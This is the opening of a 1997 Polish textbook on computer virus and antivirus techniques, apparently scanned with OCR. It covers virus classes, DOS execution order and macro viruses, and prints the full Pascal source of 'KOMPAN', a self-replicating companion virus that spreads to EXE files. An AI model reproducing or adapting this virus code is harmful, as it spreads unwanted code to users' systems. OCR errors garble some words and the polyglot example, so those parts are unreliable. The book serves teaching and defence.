SPIS ROZDZIAŁÓW
Wstęp ............................................ XV
Rozdział 1. Podstawowe wiadomości o wirusach ..............................1
Rozdział 2. Rodzaje wirusów ..............................................................5
Rozdział 3. Podział wirusów ze względu na sposób działania po
uruchomieniu ..................................................................17
Rozdział 4. Obiekty atakowane przez wirusy ....................................33
Rozdział 5. Instalacja w pamięci operacyjnej ....................................97
Rozdział 6. Przejmowanie przerwań i znajdowanie czystych wejść do
systemu ........................................................................109
Rozdział 7. Ukrywanie się w systemie operacyjnym .......................143
Rozdział 8. Szyfrowanie kodu ..........................................................173
Rozdział 9. Inne mechanizmy stosowane przez wirusy ...................213
Rozdział 10. Przyszłość wirusów .......................................................235
Rozdział 11. Rodzaje programów antywirusowych ............................241
Rozdział 12. Techniki używane przez programy antywirusowe .........247
Rozdział 13. Konwencje stosowane przez programy antywirusowe -
standard CARO ............................................................299
Rozdział 14. Profilaktyka antywirusowa ............................................311
Rozdział 15. Literatura .......................................................................319
SPIS TREŚCI
Wstęp XV
Rozdział 1. Podstawowe wiadomości o wirusach .......... 1
1.1. Co to jest i jak działa wirus komputerowy ...............................
3
1.2. Języki programowania wykorzystane do pisania wirusów ......
4
Rozdział 2. Rodzaje wirusów ..........................................
5
2.1. Wirusy pasożytnicze (ang. parasite infectors) .......................
7
2.2. Wirusy towarzyszące (ang. companion infectors) .................
8
2.3. Wirusy plików wsadowych (ang. batchviruses).......................
12
2.4. Makrowirusy, wirusy makrosów (ang. macroviruses) ..............
13
2.5. Generatory wirusów ................................................................
14
2.6. Robaki (ang. worms) ..............................................................
14
2.7. Konie trojańskie (ang. trojan horses) ......................................
14
2.8. Bomby logiczne (ang. logical bombs)......................................
15
Rozdział 3. Podział wirusów ze względu na sposób działania
po uruchomieniu ............................................................
17
3.1. Wirusy nierezydentne (ang. non-resident yiruses) ...............
19
3.2. Wirusy rezydentme (ang. resident viruses) ..........................
21
3.2.1. Szybkie infektory (ang. fast infectors) ..................................
31
3.2.2. Wolne infektory (ang. slow infectors) ...................................
32
Rozdział 4. Obiekty atakowane przez wirusy .................. 33
4.1. Pliki...................................................................................35
4.1.1. Pliki wykonywalne COM .............................
35
4.1.2. Pliki wykonywalne EXE ............................... 45
4.1.2.1. Pliki EXE dla systemu DOS (stare EXE) ..................... 45
4.1.2.2. Pliki EXE dla trybu chronionego (nowe EXE) .................. 57
4.1.2.2.1. Pliki EXE dla Windows (NE) .............................
59
4.1.3. Pliki zawierające sterowniki urządzeń SYS (BIN, DRV) ....
66
4.1.4. Pliki systemowe DOS ...............................
75
4.1.4.1. Interpretator poleceń .................................... 75
4.1.4.2. Jądro systemu (ang, kemel infector) ........................ 75
4.1.5. Pliki wsadowe BAT ................................. 76
4.1.6. Pliki DOC .........................................
77
4.1.7. Pliki XLS..........................................
79
4.1.8. Pliki ASM .........................................
80
4.2. Sektory systemowe .................................. 86
4.2.1. Główny Rekord Ładujący (ang. Master Boot Record - MBR) 86
4.3. Rekord ładujący (ang. BOOt-sector)..................... 92
4.4. Jednostki Alokacji Plików (JAP) (ang. dusters) ............
94
4.5. Wirusy kombinowane (ang. multipartition) ................
96
Rozdział 5. Instalacja w pamięci operacyjnej .............
97
5.1. Instalacja w tablicy wektorów przerwań ..................
99
5.2. Instalacja w obszarze zmiennych DOS ..................
100
5.3. Instalacja w pamięci poniżej 640kB i UMB ...............
100
5.4. Instalacja w pamięci HMA .............................
106
5.5. Nietypowe metody instalacji ...........................
107
5.5.1. Pamięć ekranu ....................................
107
5.5.2. Bufory dyskowe DOS ...............................
108
Rozdział 6. Przejmowanie przerwań i znajdowanie czystych
wejść do systemu ...................................
109
6.1. Najczęściej przejmowane i wykorzystywane przerwania .....
111
6.2. Wykorzystanie funkcji DOS ............................
117
6.3. Bezpośrednie zmiany w tablicy wektorów przerwań ,.,,,., 118
6.4. Włączanie się do istniejącego łańcucha obsługi przerwania
i znajdowanie czystych wejść do systemu (ang. tunnelling) .... 119
6.4.1. Korzystanie ze stałych adresów w systemie (przerwania
21hl2Fh) ............................................ 120
6.4.2. Wykorzystanie trybu krokowego procesora (ang. tracing)... 122
6.4.3. Tuneling rekursywny (ang, recursive tunnelling)........... 122
6.4.4. Trik 2F/13 ........................................ 124
6.5. Wykorzystanie trybu chronionego ....................... 141
6.6. Włączanie się jako program obsługi urządzenia ........... 142
Rozdział 7. Ukrywanie się w systemie operacyjnym ........ 143
7.1. Technika stealth ..................................... 145
7.1.1. Podawanie prawdziwych długości plików (ang, semi-stealth) 146
7.1.1.1. Polecenie DIR wywoływane z poziomu DOS ................. 146
7.1.1.2. Programy nakładkowe używające krótkich nazw programów
(DOS, Windows 3.1)...................................... 149
7.1.1.3. Programy wykorzystujące długie nazwy plików (Windows95)
oraz polecenie DIR wywoływane z poziomu okna Tryb MS-DOS . 150
7.1.2. Podawanie oryginalnych długości i zawartości plików
(ang.full stealth)....................................... 152
7.1.3. Podawanie prawdziwej zawartości sektorów (ang. Sectorlevel stealth)
.............................................. 169
7.1.4. Fałszowanie odczytywanych sektorów na etapie obsługi przerwań sprzętowych
(ang. hardware level stealth) ............... 169
7.2. Modyfikacja CMOS-a ................................. 170
7.3. Atrybut etykiet dysku (ang. VolumeID) .................. 171
7.4. Dodatkowe ścieżki na dyskach ......................... 171
Rozdział 8. Szyfrowanie kodu ......................... 173
8.1. Procedury szyfrujące kod ............................. 177
8.2. Procedury dekodujące ................................ 178
8.2.1. Polimorficzne procedury dekodujące ................... 179
8.2.1.1. Semi-polimorfizm ........................................ 179
8.2.1.2. Pełny polimorfizm ........................................ 193
Rozdział 9. Inne mechanizmy stosowane przez wirusy ..... 213
9.1. Sposoby dostępu do dysków .......................... 215
9.2. Sztuczki antydebuggerowe, antydeasemblerowe, antyemulacyj-
ne i antyheurystyczne .................................... 227
9.3. Optymalizacje kodu .................................. 231
9.4. Retrostruktury (techniki anty-antywirusowe), czyli walka z zainstalowanymi
monitorami antywirusowymi .................... 232
Rozdział 10. Przyszłość wirusów ......................... 235
10.1. Wirusy dla różnych systemów (ang. multisystem, multiplatform
viruses) ............................................. 237
10.2. Wirusy infekujące wewnątrzplikowo (ang, surface infectors) 238
10.3. Wirusy zmienne genetycznie (mutujące swój kod) ........ 238
10.4. Wirusy infekujące nowe, nie infekowane dotychczas obiekty 239
Rozdział 11. Rodzaje programów antywirusowych ......... 241
11.1. Skanery (ang. scaners) ............................. 243
11.2. Monitory (ang. behaviour blockers, interceptors, resident
monitors) ............................................ 243
11.3. Szczepionki (ang. disinfectors) ....................... 244
11.4. Programy autoweryfikujące .......................... 244
11.5. Programy zliczające sumy kontrolne (ang. integniy checkers). 245
Rozdział 12. Techniki używane przez programy antywirusowe
....................................... 247
12.1. Skaning .......................................... 249
12.2. Heurystycze wyszukiwanie wirusów .................... 272
12.3. Tryb krokowy ...................................... 284
12.4. Emulacja procesora ................................. 284
12.5. Przynęty (ang. baits, decoys) ......................... 285
12.6. Odświeżanie programów systemowych w sektorach ....... 285
12.7. Blokowanie programów używających trybu krokowego ..... 286
12.8. Pobieranie wielkości pamięci operacyjnej ............... 291
Rozdział 13. Konwencje stosowane przez programy antywiru-
sowe - standard CARO ..............................
299
Rozdział 14. Profilaktyka antywirusowa .................. 311
14.1. Ochrona przed wirusami plików uruchamialnych ......... 313
14.2. Ochrona przed bombami logicznymi i końmi trojańskimi ...
315
14.3. Ochrona przed makrowirusami ........................
316
Rozdział 15. Literatura ...............................
319
Wstęp
Tematem niiejszego opracowania są wirusy komputerowe jeden z najbardziej
tajemniczych i kontrowersyjnych tworów istniejących w świecie komputerów.
Od początku swego istnienia wirusy komputerowe były owiane mgłą tajemnicy zaś ich
twórców uznawano za ludzi wiedzących znacznie więcej niż zwykli śmiertelnicy.
Tymczasem wirus to zwykły program komputerowy który choć może bardziej
wyrafinowany od innych jest na pewno o wiele łatwiejszy do napisania niż jakakolwiek
aplikacja użytkowa czy gra.
Większość spotykanych wirusów to prymitywne przeróbki, bazujące na istniejących od
dawna, klasycznych już i uznawanych za wzorcowe wirusach, takich Jak Jerusalem,
Vienna, Stoned, Vacsina czy wirusy Dark Avengera. Przeróbki ograniczają się
najczęściej do zmiany tekstu wewnątrz wirusa lub ewentualnie sekwencji kodu, czego
wynikiem jest kolejna z licznych mutacji znanego wirusa. Oprócz nich istnieje bardzo
mała grupa wirusów, których pojawienie się na komputerowej scenie wiązało się z
zastosowaniem przez ich autorów nowych, nieznanych jeszcze nikomu sztuczek. Do
tych ostatnich zaliczają się niewątpliwie wirusy wspomnianego już wyżej Dark Avengera,
najsłynniejszego chyba twórcy wirusów komputerowych. On to właśnie jako pierwszy
zastosował metodę zmiennych procedur szyfrujących w swym polimorficznym enginie
MtE, a także jako jeden z pierwszych potrafił omijać zainstalowane monitory
antywirusowe, czy odnajdywać oryginalne wejścia do znajdujących się w BIOS-ie
procedur obsługi przerwania 13h.
Pojawienie się nowego wirusa infekującego nie zajętą jeszcze do tej pory platformę
sprzętową lub programową budzi zwykle nie lada sensację, zwłaszcza gdy w sprawę
wmieszają się media, żerujące na
tego typu historiach. Pomimo że najczęściej trywialny, wirus taki otwiera bowiem kolejną
furtkę dla całej rzeszy późniejszych racjonalizatorów oraz wywołuje istną lawinę
komentarzy na temat bezpieczeństwa systemów komputerowych.
tak widać, twórcy wirusów tworzą środowisko rządzące się swoimi własnymi prawami.
Cały czas trwa wyścig nad wymyśleniem jeszcze lepszych lub całkowicie nowych,
nieznanych wirusów. Ciekawa przykład twórczego podejścia do programowania wirusów
zademonstrował autor ukrywający się pod pseudonimem Stormbringer w wirusie JUMP.
Nazwa wirusa nie jest przypadkowa, gdyż, po de-asemblacji listing tego wirusa składa
się tylko i wyłącznie z samych rozkazów skoków (właściwy kod został sprytnie ukryty
wewnątrz wirusa).
Prymat w programowaniu wirusów wiodą niezaprzeczalnie mieszkańcy państw byłego
bloku wschodniego, głównie Bułgarzy, Rosjanie i Słowacy. Dzieje się tak głównie z
powodu braku, w tych krajach unormowań prawnych dotyczących przestępstw
komputerowych, które istnieją już w wielu państwach zachodnich.
W dobie globalnej ekspansji sieci Internet w zasadzie każda osoba chcąca dowiedzieć
się czegoś o wirusach może dostać się do bogatych, istniejących na całym świecie
archiwów, poświęconych w całości programowaniu wirusów. Oferują one wirusy w wersji
źródłowej, generatory wirusów, kolekcje złapanych egzemplarzy wirusów, a także tzw.
ziny, czyli prowadzone przez wyspecjalizowane grupy magazyny (w postaci plików
tekstowych lub stron HTML), poświęcone programowaniu wirusów (np.: 40HEX, VLAD,
NukE InfoJournal, VBB, Immortal Riot). Za sprawą Intemetu w skład grup prowadzących
te magazyny wchodzą ludzie ze wszystkich stron świata, którzy, co ciekawe, najczęściej
deklarują się jako zagorzali przeciwnicy wirusów destrukcyjnych, a samo
programowanie wirusów traktują jako swoistą sztukę. Po części mają rację, gdyż pisanie
wirusów jest nie tylko świetną okazją do dogłębnego poznania systemu operacyjnego,
ale i sprawdzenia własnych umiejętności programistycznych.
Liczba wirusów złapanych na świecie rośnie z roku na rok i nic me wykazuje na to, aby
tendencja ta miała ulec gwałtownej zmianie. W kolekcji wirusów należącej do jednej z
czołowych firm amerykańskich produkującej programy antywirusowe znajduje się
obecnie ponad 20000 próbek wirusów, z czego ok. 6000 to wirusy całkowicie
różne. Należy pamiętać, iż istnienie wirusów komputerowych jest ściśle związane z
niedoskonałością zarażanych przez nie systemów operacyjnych. Twórcy wirusów
skrzętnie wykorzystują do swych celów wszelkie możliwe luki w systemie:
nieudokumentowane funkcje, systemowe struktury danych, a nawet odnalezione
własnoręcznie błędy w kodzie systemu. To właśnie wirusy - paradoksalnie - pośrednio
wpływają na wzrost bezpieczeństwa systemów komputerowych, gdyż kolejne wersje
różnych środowisk zwykle starają się załatać istniejące luki w systemie.
Osobne miejsce w dyskusjach na temat wirusów zajmują programy antywirusowe (w
literaturze często określane skrótem AV). O ile pisanie wirusów jest raczej
indywidualnym procesem twórczym, o tyle pisanie skutecznych programów
antywirusowych stało się domeną całych grup programistycznych, których członkowie
muszą posiadać o wiele większą wiedzę na temat wirusów niż typowy twórca wirusów.
Usuwanie wirusów jest procesem naprawczym, a to wiąże się z odpowiedzialnością,
którą muszą wziąć na siebie twórcy programów AV. Autorzy wirusów nie muszą
przejmować się ewentualnymi szkodami powstałymi na skutek ich błędu lub nawet
zwykłej niewiedzy. W przypadku programów AV nie można pozwolić sobie nawet na
najmniejsze potknięcie. O ile dodawanie do skanera kolejnych sygnatur typowych i
trywialnych wirusów to zajęcie zajmujące niewiele czasu, o tyle dekodo-wanie i
rozszyfrowywanie kodu najnowszych wirusów, używających kilkustopniowych
zmiennych procedur szyfrujących, sztuczek anty-emulacyjnych, antydebuggerowych i
antydeasemblerowych, zarażających dużą ilość obiektów i będących zwykle wolnymi
infektorami, to zadanie zajmujące bardzo dużo czasu, a i tak często okazuje się, iż
zastosowana metoda nic umożliwia odnalezienia wszystkich wariantów wirusa.
Aby przyspieszyć wymianę informacji na temat wirusów, autorzy różnych programów
antywirusowych z całego świata utworzyli coś w rodzaju organizacji, która zajmuje się
zbieraniem danych o istniejących wirusach oraz o technikach ich wykrywania i
usuwania.
Poniższe rozdziały powinny przynajmniej częściowo wyjaśnić mechanizmy
wykorzystywane przez nowoczesne wirusy i programy antywirusowe. Oprócz typowych i
trywialnych sztuczek, stosowanych od dawna przez wyżej wymienione programy,
omówionych zostało kilka bardziej zaawansowanych technik, m.in.:polimorfizm
(wykorzystywanie zmiennych procedur szyfrujących);
> stealth (zaawansowane ukrywanie się w systemie);
> heurystyka (wykrywanie nowych, nieznanych wirusów na podstawie znajomości
charakterystycznych ciągów instrukcji).
Do zrozumienia całości materiału niezbędna jest podstawowa znajomość komputerów
PC oraz systemów DOS i WINDOWS. Niezbędna jest także przynajmniej pobieżna
znajomość asemblera procesorów 80x86 i jakiegoś języka wysokiego poziomu (np.:
Pascal, C). Niezorientowanego czytelnika odsyłam do pozycji umieszczonych w spisie
na końcu książki.
Dla uproszczenia, w opracowaniu została zastosowana pewna konwencja, dotycząca
używania w tekście funkcji systemu DOS i BIOS. Występujące w tekście skróty
(XXXX/YY) oznaczają użycie funkcji XXXX przerwania programowego YY. Zapis
(4B00/21) oznaczać więc będzie instrukcję uruchomienia programu przy użyciu funkcji
4B00h przerwania programowego 21h obsługiwanego przez DOS, a (4E/4F/21)
oznaczać będzie wywołanie funkcji 4Eh lub 4Fh przerwania programowego 21h, w tym
przypadku realizujących poszukiwania pierwszej (funkcja 4Eh) lub kolejnej (funkcja 4Fh)
pozycji katalogu. Dokładny opis funkcji systemu DOS i BIOS można znaleźć w wielu
różnych opracowaniach, z których najlepszym i najpełniejszym wydaje się stale
rozwijana, dostępna w angielskojęzycznej wersji elektronicznej, lista przerwań Interrupt
List Ralpha Browne'a.
Na koniec warto jeszcze dodać kilka uwag o słownictwie używanym w opracowaniu.
Większość terminów związanych z komputerami jest siłą rzeczy pochodzenia
angielskiego. Próby tworzenia ich polskich odpowiedników mijają się najczęściej z
celem, gdyż powstałe w ten sposób neologizmy nie odzwierciedlają w pełni sensu słów
angielskich. Liczne przykłady z literatury komputerowej (i nie tylko) ostatnich kilku lat
dowiodły, iż jedynym sensownym wyjściem z tej sytuacji jest integracja pewnych
terminów obcojęzycznych z językiem polskim. Z tego też powodu w opracowaniu
używane są (w niezbędnym minimum) terminy angielskie opatrzone odpowiednimi
komentarzami w języku polskim. W sytuacji niemożności znalezienia adekwatnego
polskiego odpowiednika dla słowa angielskiego używane będzie słowo obce (np.
stealth).
1.1. Co to jest i jak działa wirus komputerowy
Wirus komputerowy definiowany jest najczęściej jako krótki program mający zdolność
samopowielania po jego uruchomieniu. Jest on zwykle przenoszony w zainfekowanych
wcześniej plikach lub w pierwszych sektorach fizycznych logicznych dysków. Proces
infekcji polega zazwyczaj na odpowiedniej modyfikacji struktury pliku albo sektora.
Zainfekowaną ofiarę często nazywa się nosicielem (ang. host), a proces
samopowielania - replikacją. Długość typowego wirusa waha się w granicach od
kilkudziesięciu bajtów do kilku kilobajtów i w dużym stopniu zależy od umiejętności
programistycznych jego twórcy, a także od języka programowania użytego do jego
napisania. Od umiejętności i zamierzeń autora zależą także efekty, jakie wirus będzie
wywoływał w zainfekowanym systemie (oczywiście, nie zawsze musi być to próba
formatowania dysku twardego).
Większość z istniejących wirusów zawiera tylko kod odpowiedzialny za replikację (ang.
dropper), natomiast "specjalne efekty" to zwykle działania uboczne spowodowane przez
błędy.
Z powyższego wynika jednoznacznie, iż pomijając istniejącą zawsze możliwość
sabotażu, zarażenie komputera wirusem nastąpić może tylko przy niejawnej współpracy
użytkownika, który, bądź to uruchamiając zarażony program, bądź próbując wczytać
system z zarażonej dyskietki, a nawet odczytując zainfekowany dokument,
nieświadomie sam instaluje wirusa w używanym przez siebie komputerze.
1.2. Języki programowania wykorzystywane do pisania wirusów.
Do zaprogramowania wirusa wystarczy znajomość dowolnego popularnego języka
programowania, np. Pascala czy C, jednak największy procent wirusów pisany jest w
czystym asemblerze. Spowodowane jest to głównie specyfiką kodu generowanego
przez ten język, a zwłaszcza jego zwięzłością. Kod maszynowy programu, który z
punktu widzenia użytkownika nie robi nic, w językach wysokiego poziomu zajmie od
kilkuset bajtów do kilku, a nawet kilkuset kilobajtów. W asemblerze podobny program
zajmie od jednego (instrukcja RET w pliku COM) do czterech bajtów (wywołanie funkcji
4Ch przerwania 21h). Spowodowane jest to tym, iż do każdego wygenerowanego przez
siebie programu kompilatory języków wysokiego poziomu dodają standardowe prologi i
epilogi, niewidoczne dla piszącego w danym języku programisty, które są
odpowiedzialne m.in. za obsługę błędów, stosu, operacje we/wy itp. Można powiedzieć,
iż długość programu wynikowego (rozumianego jako kod maszynowy) jest wprost
proporcjonalna do poziomu języka programowania, w którym został on napisany. Na
korzyść asemblera przemawia także fakt, iż z jego poziomu mamy bardzo dużą
swobodę w dostępie do pamięci czy portów, a programista ma możliwość świadomego
wpływu na kształt przyszłego programu, np. w zakresie używanych instrukcji czy
rozwiązań programowych. Jak widać, programy napisane w asemblerze są optymalne
pod względem szybkości działania i długości kodu, a więc język ten jest jakby stworzony
do programowania wirusów. Jedyną wadą asemblera jest to, iż programów w nim
napisanych nie można przenosić na komputery o innej architekturze, stąd mogą one
egzystować tylko w jednej rodzinie komputerów.
Oprócz typowych języków programowania do zaprojektowania wirusa można
wykorzystać języki makr, wbudowane w nowoczesne edytory tekstów lub arkusze
kalkulacyjne. Zawarte w nich mechanizmy pozwalają na infekcję każdego otwieranego
przez program dokumentu lub arkusza. Ze względu na poziom abstrakcji na Jakim
operują języki makr, są one wymarzonym narzędziem do tworzenia wirusów, zwłaszcza
dla początkujących programistów. Nie muszą się oni bowiem przedzierać przez
dokumentację systemu czy też formaty infekowanych plików. Wszystkie operacje na
fizycznych obiektach są zaimplementowane w makrach i wykonują się bez konieczności
ingerencji programisty.
ROZDZIAŁ 2
2.1. Wirusy pasożytnicze (ang. parasite infectors)
W zasadzie większość istniejących wirusów to wirusy pasożytnicze, które wykorzystują
swoje ofiary do transportu, modyfikując ich strukturę wewnętrzną. Jedynym ratunkiem
dla zainfekowanych obiektów jest użycie szczepionki lub w ostateczności kopii
zapasowych, gdyż zzarażane pliki z reguły nie są przez wirusa leczone. Wyjątek
stanowią nieliczne wirusy wykorzystujące pliki tylko do transportu między komputerami,
mające za główny cel infekcję tablicy partycji lub BOOT sektora dysku twardego. Po
zainfekowaniu któregoś z tych obiektów wirus zmienia działanie i leczy wszystkie
używane pliki znajdujące się na twardym dysku, a infekuje jedynie pliki już znajdujące
się na dyskietkach lub dopiero na nie kopiowane.
Ze względu na miejsce zajmowane w zainfekowanych plikach wirusy pasożytnicze dzieli
się na:
> Wirusy nadpisujące (ang. overwrite infectors), lokujące się na początku pliku, często
nie zapamiętujące poprzedniej zawartości pliku (co w efekcie nieodwracalnie niszczy
plik);
> Wirusy lokujące się na końcu pliku (ang. end of file infectors), najbardziej
rozpowszechniona odmiana wirusów pasożytniczych, które modyfikują pewne ustalone
struktury na początku pliku tak, aby wskazywały na wirusa, po czym dopisują się na jego
końcu;
> Wirusy nagłówkowe (ang. header infectors), lokujące się w nagłówku plików EXE
przeznaczonych dla systemu DOS; wykorzystują one fakt, iż nagłówek plików EXE jest
standardowo ustawiany przez programy linkujące na wielokrotność jednego sektora
(512 bajtów). Zwykle wirusy te nie przekraczają rozmiaru jednego sektora i infekuje
poprzez przejęcie funkcji BIOS służących do odczytu i zapisu sektorów (02,03/13);
> Wirusy lokujące się w pliku w miejscu gdzie jest jakiś pusty, nie wykorzystany obszar
(np. wypełniony ciągiem zer), który można nadpisać nie niszcząc pliku (ang. cave
infectors),
> Wirusy lokujące się w dowolnym miejscu pliku (ang. surface infectors), dość rzadkie,
bardzo trudne do napisania;
> Wirusy wykorzystujące część ostatniej Jednostki Alokacji Pliku JAP (ang. slack space
infector), korzystające z faktu, iż plik rzadko zajmuje dokładnie wielokrotność jednej
JAP.
2.2. Wirusy towarzyszące (ang. companion infectors)
Wirusy tego typu są najczęściej pisane w językach wysokiego poziomu. Atakują one
pliki, a ich działanie opiera się na hierarchii stosowanej przez DOS podczas
uruchamiania programów.
W momencie uruchomiania programu, w przypadku nie podania rozszerzenia
uruchamianego pliku, najpierw poszukiwany jest plik o rozszerzeniu COM, potem EXE,
a na końcu BAT. W przypadku wykorzystywania interpretatora poleceń 4DOS dochodzą
Jeszcze pliki BTM, poszukiwane podczas uruchamiania programu przed plikami BAT.
Na przykład, jeżeli w jednym katalogu istnieją 3 pliki:
- PROG.BAT,
- PROG.COM,
- PROG.EXE,
to kolejność ich uruchamiania byłaby następująca:
- PROG.COM,
- PROG.EXE,
- PROG.BAT.
Plik PROG.COM będzie się uruchamiać, ilekroć będziemy podawać nazwę PROG bez
rozszerzenia lub z rozszerzeniem COM. Plik PROG.EXE można w tym wypadku
uruchomić wyłącznie poprzez podanie jego pełnej nazwy, bądź też poprzez uprzednie
usunięcie pliku PROG.COM z danego katalogu. Z kolei uruchomienie pilku BAT wymaga
albo usunięcia z katalogu obu plików: PROG-COM i PROG.EXE, albo też podania w linii
poleceń całej jego nazwy. Jak widać, wirus ma kilka możliwości, aby zainfekować
uruchamiany program:
- Istnieje plik COM: nie można zastosować infekcji;
- Istnieje plik EXE: można utworzyć plik o takiej samej nazwie, o rozszerzeniu COM,
zawierający wirusa;
- Istnieje plik BAT: można utworzyć plik o takiej samej nazwie, o rozszerzeniu COM lub
EXE, zawierający wirusa.
Następna próba uruchomienia tak zarażonego programu spowoduje najpierw
uruchomienie podszywającego się pod program wirusa, a dopiero ten, po zakończeniu
pracy, przekaże sterowanie do programu macierzystego, najczęściej poprzez wywołanie
programu interpretatora poleceń z parametrem: /C NazwaPlikuOfiary.
Ciekawym rozszerzeniem techniki opisanej powyżej jest sposób infekcji stosowany
przez wirusy towarzyszące, wykorzystujące zmienną środowiskową PATH (ang. path
companion infectors). Zmienna PATH określa listę katalogów przeszukiwanych przez
system DOS podczas uruchamiania programu. Wirus wykorzystujący tę technikę tworzy
plik, zawierający kod wirusa w innym katalogu, znajdującym się w zmiennej
środowiskowej PATH przed katalogiem, w którym znajduje się zarażana ofiara. W tym
wypadku infekcję można zastosować dla dowolnego z plików COM, EXE, BAT, gdyż
kolejność uruchamiania zależna jest przede wszystkim od zawartości zmiennej PATH.
Na przykład, jeżeli zmienna środowiskowa PATH określona jest jako:
PATH = C:\;C:\DOS;C:\WINDOWS,
a w katalogu C:\DOS umieścimy plik WIN.BAT, to podczas kolejnego wywoływania
systemu WINDOWS (poprzez uruchomienie programu C:\WINDOWS\WIN.COM bez
podawania ścieżki, czyli najczęściej WIN [ENTER]) z katalogu innego niż C:\WINDOWS
system uruchomi najpierw plik C:\DOS\WIN.BAT, a ten dopiero uruchomi właściwy
program C:\WINDOWS\WIN.COM. Poniżej przedstawiono przykład prostego wirusa
towarzyszącego. Jest on napisany w języku Pascal i infekuje parę plików COM, EXE.
(*;--------------------------------------------------------------
----------;*)
(*;
;*)
(*; Czesc ksiazki : "Nowoczesne techniki wirusowe i
antywirusowe" ;*)
(*;
;*)
(*; KOMPAN v1.0, Autor : Adam Blaszczyk 1997
;*)
(*;
;*)
(*; Prosty wirus typu towarzyszacego
;*)
(*; Infekuje pliki EXE w biezacym katalogu
;*)
(*; Do istniejacego pliku EXE dopisuje plik o
rozszerzeniu COM ;*)
(*;
;*)
(*;--------------------------------------------------------------
----------;*)
{$A-,B-,D-,E-,F-,G-,I-,L-,N-,O-,P-,Q-,R-,S-,T-,V-,X-,Y-}
{$M 8192,0,16384}
uses
Dos, Crt;
const
MaskaEXE = '*.EXE';
var
Szuk : SearchRec;
NazwaNosiciela,
NazwaOfiary : String;
PlikNosiciela,
PlikOfiary : File;
DlugoscNosiciela : LongInt;
Bufor : Pointer;
I : Byte;
Status : Boolean;
begin
WriteLn;
WriteLn (' KOMPAN v1.0, Autor : Adam Blaszczyk 1997');
WriteLn;
NazwaNosiciela := ParamStr (0);
WriteLn (' Czy chcesz uruchomic wirusa (T/N) ?');
if UpCase(ReadKey)='T' then
begin
WriteLn;
Status :=False;
FindFirst (MaskaEXE, AnyFile, Szuk);
while (DosError = 0) and (IOResult = 0) and (not Status) do
begin
with Szuk do
if not ((Name='.') or
(Name='..') or
(not (Attr and Directory and VolumeID<>0)))
then
begin
NazwaOfiary:=Name;
Delete (NazwaOfiary, Pos ('EXE',NazwaOfiary),3);
NazwaOfiary:=NazwaOfiary+'COM';
Assign (PlikOfiary, NazwaOfiary);
Reset (PlikOfiary,1);
if IOResult <> 0 then
begin
Status:=True;
WriteLn (' Tworze KOMPANA : ',NazwaOfiary);
Assign (PlikNosiciela, NazwaNosiciela);
Reset (PlikNosiciela, 1);
DlugoscNosiciela := FileSize
(PlikNosiciela);
GetMem (Bufor,DlugoscNosiciela);
BlockRead (PlikNosiciela, Bufor^,
DlugoscNosiciela);
ReWrite (PlikOfiary,1);
BlockWrite (PlikOfiary , Bufor^,
DlugoscNosiciela);
Close (PlikNosiciela);
Close (PlikOfiary);
FreeMem (Bufor, DlugoscNosiciela);
end;
end;
FindNext (Szuk);
end;
If Not Status then WriteLn (' Nie znalazlem zadnego
kandydata do infekcji !');
end;
Delete (NazwaNosiciela,Pos ('.COM',NazwaNosiciela),4);
NazwaNosiciela := '/C '+NazwaNosiciela+'.EXE';
for I:=1 to ParamCount do
NazwaNosiciela := NazwaNosiciela +' '+ParamStr(I);
SwapVectors;
Exec(GetEnv('COMSPEC'), NazwaNosiciela);
SwapVectors;
end.
2.3. Wirusy plików wsadowych (ang. batchviruses)
Wirusy plików wsadowych wykorzystujące do transportu pliki BAT, istnieją od dość
dawna, pomimo raczej ubogiego zestawu środków, jakimi dysponuje ich potencjalny
twórca. Może wydawać się to niedorzeczne, lecz często potrafią infekować nie tylko pliki
BAT, ale także pliki COM, EXE czy sektor tablicy partycji (wymaga to odpowiedniego,
wcale nie tak trudnego, zaprogramowania).
Po uruchomieniu zainfekowanego pliku wsadowego tworzony jest plik uruchamiamy
COM lub EXE (za pomocą polecenia ECHO, którego parametry są przekierowywane do
pliku), zawierający właściwy kod infekujący pliki BAT. Po utworzeniu jest on
wykonywany, a następnie kasowany.
Ze względu na to, iż procesor nie rozróżnia kodu i danych, można, poprzez sprytną
manipulację, utworzyć plik, który będzie mógł się wykonać zarówno Jako typowy plik
BAT, jak i plik COM.
Na przykład typowe polecenia plików wsadowych, wykonywane przez procesor jako
część kodu programu COM, będą rozumiane jako:
polecenie pliku BAT
instrukcje widziane przez
procesor
REM
52h PUSH DX ; db 'R'
45h INC BP ; db 'E'
4Dh DEC BP ; db 'M'
ECHO
45h INC BP : db 'E'
43h INC BX : db 'C'
48h DEC AX ; db 'H'
4Fh DEC Dl ; db 'O'
@
40h INC AX ; db '@'
7t0 (deklaracja etykiety -
interpretator nie wykonuje)
3Ah 37h CMP DH.[BX]; db ':7'
74h 30h JZ $+30h ; 't0'
Po uruchomieniu zainfekowanego w ten sposób pliku BAT wirus kopiuje się do pliku
tymczasowego o rozszerzeniu COM i wykonuje się, tym razem jako kod maszynowy.
Poniżej zamieszczono przykład prostego pliku (na dyskietce, w katalogu COMBAT),
który wykonuje się niezależnie od tego, czy jest wywoływany z rozszerzeniem BAT czy
COM. Po uruchomieniu wyświetla on napis informujący o rozszerzeniu, z jakim został
wywołany.
:7█:
@ECHO OFF
@ECHO Dzialam jako plik BAT !
@GOTO KONIEC
¬II-I@ŽM_-!ŽL-!Dzialam jako plik COM !$
:KONIEC
2.4. Makrowirusy, wirusy makrosów (ang. macroviruses)
Tego typu wirusy to jeden z najnowszych pomysłów. Makrowirusy nie zarażają
programów uruchamiałnych, lecz pliki zawierające definicje makr. Najpopularniejsze
obiekty infekcji to pliki DOC (dokumenty: Microsoft Word), XLS (arkusze kalkulacyjne:
Microsoft Excel), SAM (dokumenty: AmiPro).
Do mnożenia się makrowirusy wykorzystują funkcje zawarte w językach makr,
wbudowanych w powyższe aplikacje, np. WordBasic w Microsoft Word lub Visual Basie
for Applications w programie Microsoft Excel.
2.5. Generatory wirusów
Na przestrzeni ostatnich kilku lat pojawiło się wiele programów umożliwiających
stworzenie własnego wirusa, nawet bez znajomości systemu, czy mechanizmów
wykorzystywanych przez wirusy. Narzędzia tego typu są dostępne w sieci Internet.
Korzystając z gotowych modułów w asemblerze można utworzyć wirusa o zadanych
parametrach, wybieranych najczęściej przy pomocy przyjaznego użytkownikowi menu
lub specjalnego pliku definicyjnego. Można więc określić zakres obiektów infekowanych
przez tworzonego wirusa, rodzaj efektów specjalnych, sposób ewentualnej destrukcji, a
także warunki zadziałania efektów specjalnych. Oprócz kodu wynikowego wirusa
(gotowego do uruchomienia) generatory tworzą także pełne, najczęściej dobrze opisane
